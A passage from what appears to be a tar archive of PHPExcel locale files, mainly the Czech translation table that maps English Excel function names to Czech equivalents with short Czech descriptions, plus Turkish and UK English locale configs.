USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = YTL ## ## Excel Error Codes (For future use) ## NULL = #BOŞ! DIV0 = #SAYI/0! VALUE = #DEĞER! REF = #BAŞV! NAME = #AD? NUM = #SAYI! NA = #YOK PHPExcel/locale/en/uk/config 0000644 00000002167 14642534110 0011632 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ## ## (For future use) ## currencySymbol = £ PHPExcel/locale/cs/functions 0000644 00000076302 14642534110 0011763 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Funkce doplňků a automatizace ## GETPIVOTDATA = ZÍSKATKONTDATA ## Vrátí data uložená v kontingenční tabulce. Pomocí funkce ZÍSKATKONTDATA můžete načíst souhrnná data z kontingenční tabulky, pokud jsou tato data v kontingenční sestavě zobrazena. ## ## Cube functions Funkce pro práci s krychlemi ## CUBEKPIMEMBER = CUBEKPIMEMBER ## Vrátí název, vlastnost a velikost klíčového ukazatele výkonu (KUV) a zobrazí v buňce název a vlastnost. Klíčový ukazatel výkonu je kvantifikovatelná veličina, například hrubý měsíční zisk nebo čtvrtletní obrat na zaměstnance, která se používá pro sledování výkonnosti organizace. CUBEMEMBER = CUBEMEMBER ## Vrátí člen nebo n-tici v hierarchii krychle. Slouží k ověření, zda v krychli existuje člen nebo n-tice. CUBEMEMBERPROPERTY = CUBEMEMBERPROPERTY ## Vrátí hodnotu vlastnosti člena v krychli. Slouží k ověření, zda v krychli existuje člen s daným názvem, a k vrácení konkrétní vlastnosti tohoto člena. CUBERANKEDMEMBER = CUBERANKEDMEMBER ## Vrátí n-tý nebo pořadový člen sady. Použijte ji pro vrácení jednoho nebo více prvků sady, například obchodníka s nejvyšším obratem nebo deseti nejlepších studentů. CUBESET = CUBESET ## Definuje vypočtenou sadu členů nebo n-tic odesláním výrazu sady do krychle na serveru, který vytvoří sadu a potom ji vrátí do aplikace Microsoft Office Excel. CUBESETCOUNT = CUBESETCOUNT ## Vrátí počet položek v množině CUBEVALUE = CUBEVALUE ## Vrátí úhrnnou hodnotu z krychle. ## ## Database functions Funkce databáze ## DAVERAGE = DPRŮMĚR ## Vrátí průměr vybraných položek databáze. DCOUNT = DPOČET ## Spočítá buňky databáze obsahující čísla. DCOUNTA = DPOČET2 ## Spočítá buňky databáze, které nejsou prázdné. DGET = DZÍSKAT ## Extrahuje z databáze jeden záznam splňující zadaná kritéria. DMAX = DMAX ## Vrátí maximální hodnotu z vybraných položek databáze. DMIN = DMIN ## Vrátí minimální hodnotu z vybraných položek databáze. DPRODUCT = DSOUČIN ## Vynásobí hodnoty určitého pole záznamů v databázi, které splňují daná kritéria. DSTDEV = DSMODCH.VÝBĚR ## Odhadne směrodatnou odchylku výběru vybraných položek databáze. DSTDEVP = DSMODCH ## Vypočte směrodatnou odchylku základního souboru vybraných položek databáze. DSUM = DSUMA ## Sečte čísla ve sloupcovém poli záznamů databáze, která splňují daná kritéria. DVAR = DVAR.VÝBĚR ## Odhadne rozptyl výběru vybraných položek databáze. DVARP = DVAR ## Vypočte rozptyl základního souboru vybraných položek databáze. ## ## Date and time functions Funkce data a času ## DATE = DATUM ## Vrátí pořadové číslo určitého data. DATEVALUE = DATUMHODN ## Převede datum ve formě textu na pořadové číslo. DAY = DEN ## Převede pořadové číslo na den v měsíci. DAYS360 = ROK360 ## Vrátí počet dní mezi dvěma daty na základě roku s 360 dny. EDATE = EDATE ## Vrátí pořadové číslo data, které označuje určený počet měsíců před nebo po počátečním datu. EOMONTH = EOMONTH ## Vrátí pořadové číslo posledního dne měsíce před nebo po zadaném počtu měsíců. HOUR = HODINA ## Převede pořadové číslo na hodinu. MINUTE = MINUTA ## Převede pořadové číslo na minutu. MONTH = MĚSÍC ## Převede pořadové číslo na měsíc. NETWORKDAYS = NETWORKDAYS ## Vrátí počet celých pracovních dní mezi dvěma daty. NOW = NYNÍ ## Vrátí pořadové číslo aktuálního data a času. SECOND = SEKUNDA ## Převede pořadové číslo na sekundu. TIME = ČAS ## Vrátí pořadové číslo určitého času. TIMEVALUE = ČASHODN ## Převede čas ve formě textu na pořadové číslo. TODAY = DNES ## Vrátí pořadové číslo dnešního data. WEEKDAY = DENTÝDNE ## Převede pořadové číslo na den v týdnu. WEEKNUM = WEEKNUM ## Převede pořadové číslo na číslo představující číselnou pozici týdne v roce. WORKDAY = WORKDAY ## Vrátí pořadové číslo data před nebo po zadaném počtu pracovních dní. YEAR = ROK ## Převede pořadové číslo na rok. YEARFRAC = YEARFRAC ## Vrátí část roku vyjádřenou zlomkem a představující počet celých dní mezi počátečním a koncovým datem. ## ## Engineering functions Inženýrské funkce (Technické funkce) ## BESSELI = BESSELI ## Vrátí modifikovanou Besselovu funkci In(x). BESSELJ = BESSELJ ## Vrátí modifikovanou Besselovu funkci Jn(x). BESSELK = BESSELK ## Vrátí modifikovanou Besselovu funkci Kn(x). BESSELY = BESSELY ## Vrátí Besselovu funkci Yn(x). BIN2DEC = BIN2DEC ## Převede binární číslo na desítkové. BIN2HEX = BIN2HEX ## Převede binární číslo na šestnáctkové. BIN2OCT = BIN2OCT ## Převede binární číslo na osmičkové. COMPLEX = COMPLEX ## Převede reálnou a imaginární část na komplexní číslo. CONVERT = CONVERT ## Převede číslo do jiného jednotkového měrného systému. DEC2BIN = DEC2BIN ## Převede desítkového čísla na dvojkové DEC2HEX = DEC2HEX ## Převede desítkové číslo na šestnáctkové. DEC2OCT = DEC2OCT ## Převede desítkové číslo na osmičkové. DELTA = DELTA ## Testuje rovnost dvou hodnot. ERF = ERF ## Vrátí chybovou funkci. ERFC = ERFC ## Vrátí doplňkovou chybovou funkci. GESTEP = GESTEP ## Testuje, zda je číslo větší než mezní hodnota. HEX2BIN = HEX2BIN ## Převede šestnáctkové číslo na binární. HEX2DEC = HEX2DEC ## Převede šestnáctkové číslo na desítkové. HEX2OCT = HEX2OCT ## Převede šestnáctkové číslo na osmičkové. IMABS = IMABS ## Vrátí absolutní hodnotu (modul) komplexního čísla. IMAGINARY = IMAGINARY ## Vrátí imaginární část komplexního čísla. IMARGUMENT = IMARGUMENT ## Vrátí argument théta, úhel vyjádřený v radiánech. IMCONJUGATE = IMCONJUGATE ## Vrátí komplexně sdružené číslo ke komplexnímu číslu. IMCOS = IMCOS ## Vrátí kosinus komplexního čísla. IMDIV = IMDIV ## Vrátí podíl dvou komplexních čísel. IMEXP = IMEXP ## Vrátí exponenciální tvar komplexního čísla. IMLN = IMLN ## Vrátí přirozený logaritmus komplexního čísla. IMLOG10 = IMLOG10 ## Vrátí dekadický logaritmus komplexního čísla. IMLOG2 = IMLOG2 ## Vrátí logaritmus komplexního čísla při základu 2. IMPOWER = IMPOWER ## Vrátí komplexní číslo umocněné na celé číslo. IMPRODUCT = IMPRODUCT ## Vrátí součin komplexních čísel. IMREAL = IMREAL ## Vrátí reálnou část komplexního čísla. IMSIN = IMSIN ## Vrátí sinus komplexního čísla. IMSQRT = IMSQRT ## Vrátí druhou odmocninu komplexního čísla. IMSUB = IMSUB ## Vrátí rozdíl mezi dvěma komplexními čísly. IMSUM = IMSUM ## Vrátí součet dvou komplexních čísel. OCT2BIN = OCT2BIN ## Převede osmičkové číslo na binární. OCT2DEC = OCT2DEC ## Převede osmičkové číslo na desítkové. OCT2HEX = OCT2HEX ## Převede osmičkové číslo na šestnáctkové. ## ## Financial functions Finanční funkce ## ACCRINT = ACCRINT ## Vrátí nahromaděný úrok z cenného papíru, ze kterého je úrok placen v pravidelných termínech. ACCRINTM = ACCRINTM ## Vrátí nahromaděný úrok z cenného papíru, ze kterého je úrok placen k datu splatnosti. AMORDEGRC = AMORDEGRC ## Vrátí lineární amortizaci v každém účetním období pomocí koeficientu amortizace. AMORLINC = AMORLINC ## Vrátí lineární amortizaci v každém účetním období. COUPDAYBS = COUPDAYBS ## Vrátí počet dnů od začátku období placení kupónů do data splatnosti. COUPDAYS = COUPDAYS ## Vrátí počet dnů v období placení kupónů, které obsahuje den zúčtování. COUPDAYSNC = COUPDAYSNC ## Vrátí počet dnů od data zúčtování do následujícího data placení kupónu. COUPNCD = COUPNCD ## Vrátí následující datum placení kupónu po datu zúčtování. COUPNUM = COUPNUM ## Vrátí počet kupónů splatných mezi datem zúčtování a datem splatnosti. COUPPCD = COUPPCD ## Vrátí předchozí datum placení kupónu před datem zúčtování. CUMIPMT = CUMIPMT ## Vrátí kumulativní úrok splacený mezi dvěma obdobími. CUMPRINC = CUMPRINC ## Vrátí kumulativní jistinu splacenou mezi dvěma obdobími půjčky. DB = ODPIS.ZRYCH ## Vrátí odpis aktiva za určité období pomocí degresivní metody odpisu s pevným zůstatkem. DDB = ODPIS.ZRYCH2 ## Vrátí odpis aktiva za určité období pomocí dvojité degresivní metody odpisu nebo jiné metody, kterou zadáte. DISC = DISC ## Vrátí diskontní sazbu cenného papíru. DOLLARDE = DOLLARDE ## Převede částku v korunách vyjádřenou zlomkem na částku v korunách vyjádřenou desetinným číslem. DOLLARFR = DOLLARFR ## Převede částku v korunách vyjádřenou desetinným číslem na částku v korunách vyjádřenou zlomkem. DURATION = DURATION ## Vrátí roční dobu cenného papíru s pravidelnými úrokovými sazbami. EFFECT = EFFECT ## Vrátí efektivní roční úrokovou sazbu. FV = BUDHODNOTA ## Vrátí budoucí hodnotu investice. FVSCHEDULE = FVSCHEDULE ## Vrátí budoucí hodnotu počáteční jistiny po použití série sazeb složitého úroku. INTRATE = INTRATE ## Vrátí úrokovou sazbu plně investovaného cenného papíru. IPMT = PLATBA.ÚROK ## Vrátí výšku úroku investice za dané období. IRR = MÍRA.VÝNOSNOSTI ## Vrátí vnitřní výnosové procento série peněžních toků. ISPMT = ISPMT ## Vypočte výši úroku z investice zaplaceného během určitého období. MDURATION = MDURATION ## Vrátí Macauleyho modifikovanou dobu cenného papíru o nominální hodnotě 100 Kč. MIRR = MOD.MÍRA.VÝNOSNOSTI ## Vrátí vnitřní sazbu výnosu, přičemž kladné a záporné hodnoty peněžních prostředků jsou financovány podle různých sazeb. NOMINAL = NOMINAL ## Vrátí nominální roční úrokovou sazbu. NPER = POČET.OBDOBÍ ## Vrátí počet období pro investici. NPV = ČISTÁ.SOUČHODNOTA ## Vrátí čistou současnou hodnotu investice vypočítanou na základě série pravidelných peněžních toků a diskontní sazby. ODDFPRICE = ODDFPRICE ## Vrátí cenu cenného papíru o nominální hodnotě 100 Kč s odlišným prvním obdobím. ODDFYIELD = ODDFYIELD ## Vrátí výnos cenného papíru s odlišným prvním obdobím. ODDLPRICE = ODDLPRICE ## Vrátí cenu cenného papíru o nominální hodnotě 100 Kč s odlišným posledním obdobím. ODDLYIELD = ODDLYIELD ## Vrátí výnos cenného papíru s odlišným posledním obdobím. PMT = PLATBA ## Vrátí hodnotu pravidelné splátky anuity. PPMT = PLATBA.ZÁKLAD ## Vrátí hodnotu splátky jistiny pro zadanou investici za dané období. PRICE = PRICE ## Vrátí cenu cenného papíru o nominální hodnotě 100 Kč, ze kterého je úrok placen v pravidelných termínech. PRICEDISC = PRICEDISC ## Vrátí cenu diskontního cenného papíru o nominální hodnotě 100 Kč. PRICEMAT = PRICEMAT ## Vrátí cenu cenného papíru o nominální hodnotě 100 Kč, ze kterého je úrok placen k datu splatnosti. PV = SOUČHODNOTA ## Vrátí současnou hodnotu investice. RATE = ÚROKOVÁ.MÍRA ## Vrátí úrokovou sazbu vztaženou na období anuity. RECEIVED = RECEIVED ## Vrátí částku obdrženou k datu splatnosti plně investovaného cenného papíru. SLN = ODPIS.LIN ## Vrátí přímé odpisy aktiva pro jedno období. SYD = ODPIS.NELIN ## Vrátí směrné číslo ročních odpisů aktiva pro zadané období. TBILLEQ = TBILLEQ ## Vrátí výnos směnky státní pokladny ekvivalentní výnosu obligace. TBILLPRICE = TBILLPRICE ## Vrátí cenu směnky státní pokladny o nominální hodnotě 100 Kč. TBILLYIELD = TBILLYIELD ## Vrátí výnos směnky státní pokladny. VDB = ODPIS.ZA.INT ## Vrátí odpis aktiva pro určité období nebo část období pomocí degresivní metody odpisu. XIRR = XIRR ## Vrátí vnitřní výnosnost pro harmonogram peněžních toků, který nemusí být nutně periodický. XNPV = XNPV ## Vrátí čistou současnou hodnotu pro harmonogram peněžních toků, který nemusí být nutně periodický. YIELD = YIELD ## Vrátí výnos cenného papíru, ze kterého je úrok placen v pravidelných termínech. YIELDDISC = YIELDDISC ## Vrátí roční výnos diskontního cenného papíru, například směnky státní pokladny. YIELDMAT = YIELDMAT ## Vrátí roční výnos cenného papíru, ze kterého je úrok placen k datu splatnosti. ## ## Information functions Informační funkce ## CELL = POLÍČKO ## Vrátí informace o formátování, umístění nebo obsahu buňky. ERROR.TYPE = CHYBA.TYP ## Vrátí číslo odpovídající typu chyby. INFO = O.PROSTŘEDÍ ## Vrátí informace o aktuálním pracovním prostředí. ISBLANK = JE.PRÁZDNÉ ## Vrátí hodnotu PRAVDA, pokud se argument hodnota odkazuje na prázdnou buňku. ISERR = JE.CHYBA ## Vrátí hodnotu PRAVDA, pokud je argument hodnota libovolná chybová hodnota (kromě #N/A). ISERROR = JE.CHYBHODN ## Vrátí hodnotu PRAVDA, pokud je argument hodnota libovolná chybová hodnota. ISEVEN = ISEVEN ## Vrátí hodnotu PRAVDA, pokud je číslo sudé. ISLOGICAL = JE.LOGHODN ## Vrátí hodnotu PRAVDA, pokud je argument hodnota logická hodnota. ISNA = JE.NEDEF ## Vrátí hodnotu PRAVDA, pokud je argument hodnota chybová hodnota #N/A. ISNONTEXT = JE.NETEXT ## Vrátí hodnotu PRAVDA, pokud argument hodnota není text. ISNUMBER = JE.ČÍSLO ## Vrátí hodnotu PRAVDA, pokud je argument hodnota číslo. ISODD = ISODD ## Vrátí hodnotu PRAVDA, pokud je číslo liché. ISREF = JE.ODKAZ ## Vrátí hodnotu PRAVDA, pokud je argument hodnota odkaz. ISTEXT = JE.TEXT ## Vrátí hodnotu PRAVDA, pokud je argument hodnota text. N = N ## Vrátí hodnotu převedenou na číslo. NA = NEDEF ## Vrátí chybovou hodnotu #N/A. TYPE = TYP ## Vrátí číslo označující datový typ hodnoty. ## ## Logical functions Logické funkce ## AND = A ## Vrátí hodnotu PRAVDA, mají-li všechny argumenty hodnotu PRAVDA. FALSE = NEPRAVDA ## Vrátí logickou hodnotu NEPRAVDA. IF = KDYŽ ## Určí, který logický test má proběhnout. IFERROR = IFERROR ## Pokud je vzorec vyhodnocen jako chyba, vrátí zadanou hodnotu. V opačném případě vrátí výsledek vzorce. NOT = NE ## Provede logickou negaci argumentu funkce. OR = NEBO ## Vrátí hodnotu PRAVDA, je-li alespoň jeden argument roven hodnotě PRAVDA. TRUE = PRAVDA ## Vrátí logickou hodnotu PRAVDA. ## ## Lookup and reference functions Vyhledávací funkce ## ADDRESS = ODKAZ ## Vrátí textový odkaz na jednu buňku listu. AREAS = POČET.BLOKŮ ## Vrátí počet oblastí v odkazu. CHOOSE = ZVOLIT ## Zvolí hodnotu ze seznamu hodnot. COLUMN = SLOUPEC ## Vrátí číslo sloupce odkazu. COLUMNS = SLOUPCE ## Vrátí počet sloupců v odkazu. HLOOKUP = VVYHLEDAT ## Prohledá horní řádek matice a vrátí hodnotu určené buňky. HYPERLINK = HYPERTEXTOVÝ.ODKAZ ## Vytvoří zástupce nebo odkaz, který otevře dokument uložený na síťovém serveru, v síti intranet nebo Internet. INDEX = INDEX ## Pomocí rejstříku zvolí hodnotu z odkazu nebo matice. INDIRECT = NEPŘÍMÝ.ODKAZ ## Vrátí odkaz určený textovou hodnotou. LOOKUP = VYHLEDAT ## Vyhledá hodnoty ve vektoru nebo matici. MATCH = POZVYHLEDAT ## Vyhledá hodnoty v odkazu nebo matici. OFFSET = POSUN ## Vrátí posun odkazu od zadaného odkazu. ROW = ŘÁDEK ## Vrátí číslo řádku odkazu. ROWS = ŘÁDKY ## Vrátí počet řádků v odkazu. RTD = RTD ## Načte data reálného času z programu, který podporuje automatizaci modelu COM (Automatizace: Způsob práce s objekty určité aplikace z jiné aplikace nebo nástroje pro vývoj. Automatizace (dříve nazývaná automatizace OLE) je počítačovým standardem a je funkcí modelu COM (Component Object Model).). TRANSPOSE = TRANSPOZICE ## Vrátí transponovanou matici. VLOOKUP = SVYHLEDAT ## Prohledá první sloupec matice, přesune kurzor v řádku a vrátí hodnotu buňky. ## ## Math and trigonometry functions Matematické a trigonometrické funkce ## ABS = ABS ## Vrátí absolutní hodnotu čísla. ACOS = ARCCOS ## Vrátí arkuskosinus čísla. ACOSH = ARCCOSH ## Vrátí hyperbolický arkuskosinus čísla. ASIN = ARCSIN ## Vrátí arkussinus čísla. ASINH = ARCSINH ## Vrátí hyperbolický arkussinus čísla. ATAN = ARCTG ## Vrátí arkustangens čísla. ATAN2 = ARCTG2 ## Vrátí arkustangens x-ové a y-ové souřadnice. ATANH = ARCTGH ## Vrátí hyperbolický arkustangens čísla. CEILING = ZAOKR.NAHORU ## Zaokrouhlí číslo na nejbližší celé číslo nebo na nejbližší násobek zadané hodnoty. COMBIN = KOMBINACE ## Vrátí počet kombinací pro daný počet položek. COS = COS ## Vrátí kosinus čísla. COSH = COSH ## Vrátí hyperbolický kosinus čísla. DEGREES = DEGREES ## Převede radiány na stupně. EVEN = ZAOKROUHLIT.NA.SUDÉ ## Zaokrouhlí číslo nahoru na nejbližší celé sudé číslo. EXP = EXP ## Vrátí základ přirozeného logaritmu e umocněný na zadané číslo. FACT = FAKTORIÁL ## Vrátí faktoriál čísla. FACTDOUBLE = FACTDOUBLE ## Vrátí dvojitý faktoriál čísla. FLOOR = ZAOKR.DOLŮ ## Zaokrouhlí číslo dolů, směrem k nule. GCD = GCD ## Vrátí největší společný dělitel. INT = CELÁ.ČÁST ## Zaokrouhlí číslo dolů na nejbližší celé číslo. LCM = LCM ## Vrátí nejmenší společný násobek. LN = LN ## Vrátí přirozený logaritmus čísla. LOG = LOGZ ## Vrátí logaritmus čísla při zadaném základu. LOG10 = LOG ## Vrátí dekadický logaritmus čísla. MDETERM = DETERMINANT ## Vrátí determinant matice. MINVERSE = INVERZE ## Vrátí inverzní matici. MMULT = SOUČIN.MATIC ## Vrátí součin dvou matic. MOD = MOD ## Vrátí zbytek po dělení. MROUND = MROUND ## Vrátí číslo zaokrouhlené na požadovaný násobek. MULTINOMIAL = MULTINOMIAL ## Vrátí mnohočlen z množiny čísel. ODD = ZAOKROUHLIT.NA.LICHÉ ## Zaokrouhlí číslo nahoru na nejbližší celé liché číslo. PI = PI ## Vrátí hodnotu čísla pí. POWER = POWER ## Umocní číslo na zadanou mocninu. PRODUCT = SOUČIN ## Vynásobí argumenty funkce. QUOTIENT = QUOTIENT ## Vrátí celou část dělení. RADIANS = RADIANS ## Převede stupně na radiány. RAND = NÁHČÍSLO ## Vrátí náhodné číslo mezi 0 a 1. RANDBETWEEN = RANDBETWEEN ## Vrátí náhodné číslo mezi zadanými čísly. ROMAN = ROMAN ## Převede arabskou číslici na římskou ve formátu textu. ROUND = ZAOKROUHLIT ## Zaokrouhlí číslo na zadaný počet číslic. ROUNDDOWN = ROUNDDOWN ## Zaokrouhlí číslo dolů, směrem k nule. ROUNDUP = ROUNDUP ## Zaokrouhlí číslo nahoru, směrem od nuly. SERIESSUM = SERIESSUM ## Vrátí součet mocninné řady určené podle vzorce. SIGN = SIGN ## Vrátí znaménko čísla. SIN = SIN ## Vrátí sinus daného úhlu. SINH = SINH ## Vrátí hyperbolický sinus čísla. SQRT = ODMOCNINA ## Vrátí kladnou druhou odmocninu. SQRTPI = SQRTPI ## Vrátí druhou odmocninu výrazu (číslo * pí). SUBTOTAL = SUBTOTAL ## Vrátí souhrn v seznamu nebo databázi. SUM = SUMA ## Sečte argumenty funkce. SUMIF = SUMIF ## Sečte buňky vybrané podle zadaných kritérií. SUMIFS = SUMIFS ## Sečte buňky určené více zadanými podmínkami. SUMPRODUCT = SOUČIN.SKALÁRNÍ ## Vrátí součet součinů odpovídajících prvků matic. SUMSQ = SUMA.ČTVERCŮ ## Vrátí součet čtverců argumentů. SUMX2MY2 = SUMX2MY2 ## Vrátí součet rozdílu čtverců odpovídajících hodnot ve dvou maticích. SUMX2PY2 = SUMX2PY2 ## Vrátí součet součtu čtverců odpovídajících hodnot ve dvou maticích. SUMXMY2 = SUMXMY2 ## Vrátí součet čtverců rozdílů odpovídajících hodnot ve dvou maticích. TAN = TGTG ## Vrátí tangens čísla. TANH = TGH ## Vrátí hyperbolický tangens čísla. TRUNC = USEKNOUT ## Zkrátí číslo na celé číslo. ## ## Statistical functions Statistické funkce ## AVEDEV = PRŮMODCHYLKA ## Vrátí průměrnou hodnotu absolutních odchylek datových bodů od jejich střední hodnoty. AVERAGE = PRŮMĚR ## Vrátí průměrnou hodnotu argumentů. AVERAGEA = AVERAGEA ## Vrátí průměrnou hodnotu argumentů včetně čísel, textu a logických hodnot. AVERAGEIF = AVERAGEIF ## Vrátí průměrnou hodnotu (aritmetický průměr) všech buněk v oblasti, které vyhovují příslušné podmínce. AVERAGEIFS = AVERAGEIFS ## Vrátí průměrnou hodnotu (aritmetický průměr) všech buněk vyhovujících několika podmínkám. BETADIST = BETADIST ## Vrátí hodnotu součtového rozdělení beta. BETAINV = BETAINV ## Vrátí inverzní hodnotu součtového rozdělení pro zadané rozdělení beta. BINOMDIST = BINOMDIST ## Vrátí hodnotu binomického rozdělení pravděpodobnosti jednotlivých veličin. CHIDIST = CHIDIST ## Vrátí jednostrannou pravděpodobnost rozdělení chí-kvadrát. CHIINV = CHIINV ## Vrátí hodnotu funkce inverzní k distribuční funkci jednostranné pravděpodobnosti rozdělení chí-kvadrát. CHITEST = CHITEST ## Vrátí test nezávislosti. CONFIDENCE = CONFIDENCE ## Vrátí interval spolehlivosti pro střední hodnotu základního souboru. CORREL = CORREL ## Vrátí korelační koeficient mezi dvěma množinami dat. COUNT = POČET ## Vrátí počet čísel v seznamu argumentů. COUNTA = POČET2 ## Vrátí počet hodnot v seznamu argumentů. COUNTBLANK = COUNTBLANK ## Spočítá počet prázdných buněk v oblasti. COUNTIF = COUNTIF ## Spočítá buňky v oblasti, které odpovídají zadaným kritériím. COUNTIFS = COUNTIFS ## Spočítá buňky v oblasti, které odpovídají více kritériím. COVAR = COVAR ## Vrátí hodnotu kovariance, průměrnou hodnotu součinů párových odchylek CRITBINOM = CRITBINOM ## Vrátí nejmenší hodnotu, pro kterou má součtové binomické rozdělení hodnotu větší nebo rovnu hodnotě kritéria. DEVSQ = DEVSQ ## Vrátí součet čtverců odchylek. EXPONDIST = EXPONDIST ## Vrátí hodnotu exponenciálního rozdělení. FDIST = FDIST ## Vrátí hodnotu rozdělení pravděpodobnosti F. FINV = FINV ## Vrátí hodnotu inverzní funkce k distribuční funkci rozdělení F. FISHER = FISHER ## Vrátí hodnotu Fisherovy transformace. FISHERINV = FISHERINV ## Vrátí hodnotu inverzní funkce k Fisherově transformaci. FORECAST = FORECAST ## Vrátí hodnotu lineárního trendu. FREQUENCY = ČETNOSTI ## Vrátí četnost rozdělení jako svislou matici. FTEST = FTEST ## Vrátí výsledek F-testu. GAMMADIST = GAMMADIST ## Vrátí hodnotu rozdělení gama. GAMMAINV = GAMMAINV ## Vrátí hodnotu inverzní funkce k distribuční funkci součtového rozdělení gama. GAMMALN = GAMMALN ## Vrátí přirozený logaritmus funkce gama, Γ(x). GEOMEAN = GEOMEAN ## Vrátí geometrický průměr. GROWTH = LOGLINTREND ## Vrátí hodnoty exponenciálního trendu. HARMEAN = HARMEAN ## Vrátí harmonický průměr. HYPGEOMDIST = HYPGEOMDIST ## Vrátí hodnotu hypergeometrického rozdělení. INTERCEPT = INTERCEPT ## Vrátí úsek lineární regresní čáry. KURT = KURT ## Vrátí hodnotu excesu množiny dat. LARGE = LARGE ## Vrátí k-tou největší hodnotu množiny dat. LINEST = LINREGRESE ## Vrátí parametry lineárního trendu. LOGEST = LOGLINREGRESE ## Vrátí parametry exponenciálního trendu. LOGINV = LOGINV ## Vrátí inverzní funkci k distribuční funkci logaritmicko-normálního rozdělení. LOGNORMDIST = LOGNORMDIST ## Vrátí hodnotu součtového logaritmicko-normálního rozdělení. MAX = MAX ## Vrátí maximální hodnotu seznamu argumentů. MAXA = MAXA ## Vrátí maximální hodnotu seznamu argumentů včetně čísel, textu a logických hodnot. MEDIAN = MEDIAN ## Vrátí střední hodnotu zadaných čísel. MIN = MIN ## Vrátí minimální hodnotu seznamu argumentů. MINA = MINA ## Vrátí nejmenší hodnotu v seznamu argumentů včetně čísel, textu a logických hodnot. MODE = MODE ## Vrátí hodnotu, která se v množině dat vyskytuje nejčastěji. NEGBINOMDIST = NEGBINOMDIST ## Vrátí hodnotu negativního binomického rozdělení. NORMDIST = NORMDIST ## Vrátí hodnotu normálního součtového rozdělení. NORMINV = NORMINV ## Vrátí inverzní funkci k funkci normálního součtového rozdělení. NORMSDIST = NORMSDIST ## Vrátí hodnotu standardního normálního součtového rozdělení. NORMSINV = NORMSINV ## Vrátí inverzní funkci k funkci standardního normálního součtového rozdělení. PEARSON = PEARSON ## Vrátí Pearsonův výsledný momentový korelační koeficient. PERCENTILE = PERCENTIL ## Vrátí hodnotu k-tého percentilu hodnot v oblasti. PERCENTRANK = PERCENTRANK ## Vrátí pořadí hodnoty v množině dat vyjádřené procentuální částí množiny dat. PERMUT = PERMUTACE ## Vrátí počet permutací pro zadaný počet objektů. POISSON = POISSON ## Vrátí hodnotu distribuční funkce Poissonova rozdělení. PROB = PROB ## Vrátí pravděpodobnost výskytu hodnot v oblasti mezi dvěma mezními hodnotami. QUARTILE = QUARTIL ## Vrátí hodnotu kvartilu množiny dat. RANK = RANK ## Vrátí pořadí čísla v seznamu čísel. RSQ = RKQ ## Vrátí druhou mocninu Pearsonova výsledného momentového korelačního koeficientu. SKEW = SKEW ## Vrátí zešikmení rozdělení. SLOPE = SLOPE ## Vrátí směrnici lineární regresní čáry. SMALL = SMALL ## Vrátí k-tou nejmenší hodnotu množiny dat. STANDARDIZE = STANDARDIZE ## Vrátí normalizovanou hodnotu. STDEV = SMODCH.VÝBĚR ## Vypočte směrodatnou odchylku výběru. STDEVA = STDEVA ## Vypočte směrodatnou odchylku výběru včetně čísel, textu a logických hodnot. STDEVP = SMODCH ## Vypočte směrodatnou odchylku základního souboru. STDEVPA = STDEVPA ## Vypočte směrodatnou odchylku základního souboru včetně čísel, textu a logických hodnot. STEYX = STEYX ## Vrátí standardní chybu předpovězené hodnoty y pro každou hodnotu x v regresi. TDIST = TDIST ## Vrátí hodnotu Studentova t-rozdělení. TINV = TINV ## Vrátí inverzní funkci k distribuční funkci Studentova t-rozdělení. TREND = LINTREND ## Vrátí hodnoty lineárního trendu. TRIMMEAN = TRIMMEAN ## Vrátí střední hodnotu vnitřní části množiny dat. TTEST = TTEST ## Vrátí pravděpodobnost spojenou se Studentovým t-testem. VAR = VAR.VÝBĚR ## Vypočte rozptyl výběru. VARA = VARA ## Vypočte rozptyl výběru včetně čísel, textu a logických hodnot. VARP = VAR ## Vypočte rozptyl základního souboru. VARPA = VARPA ## Vypočte rozptyl základního souboru včetně čísel, textu a logických hodnot. WEIBULL = WEIBULL ## Vrátí hodnotu Weibullova rozdělení. ZTEST = ZTEST ## Vrátí jednostrannou P-hodnotu z-testu. ## ## Text functions Textové funkce ## ASC = ASC ## Změní znaky s plnou šířkou (dvoubajtové)v řetězci znaků na znaky s poloviční šířkou (jednobajtové). BAHTTEXT = BAHTTEXT ## Převede číslo na text ve formátu, měny ß (baht). CHAR = ZNAK ## Vrátí znak určený číslem kódu. CLEAN = VYČISTIT ## Odebere z textu všechny netisknutelné znaky. CODE = KÓD ## Vrátí číselný kód prvního znaku zadaného textového řetězce. CONCATENATE = CONCATENATE ## Spojí několik textových položek do jedné. DOLLAR = KČ ## Převede číslo na text ve formátu 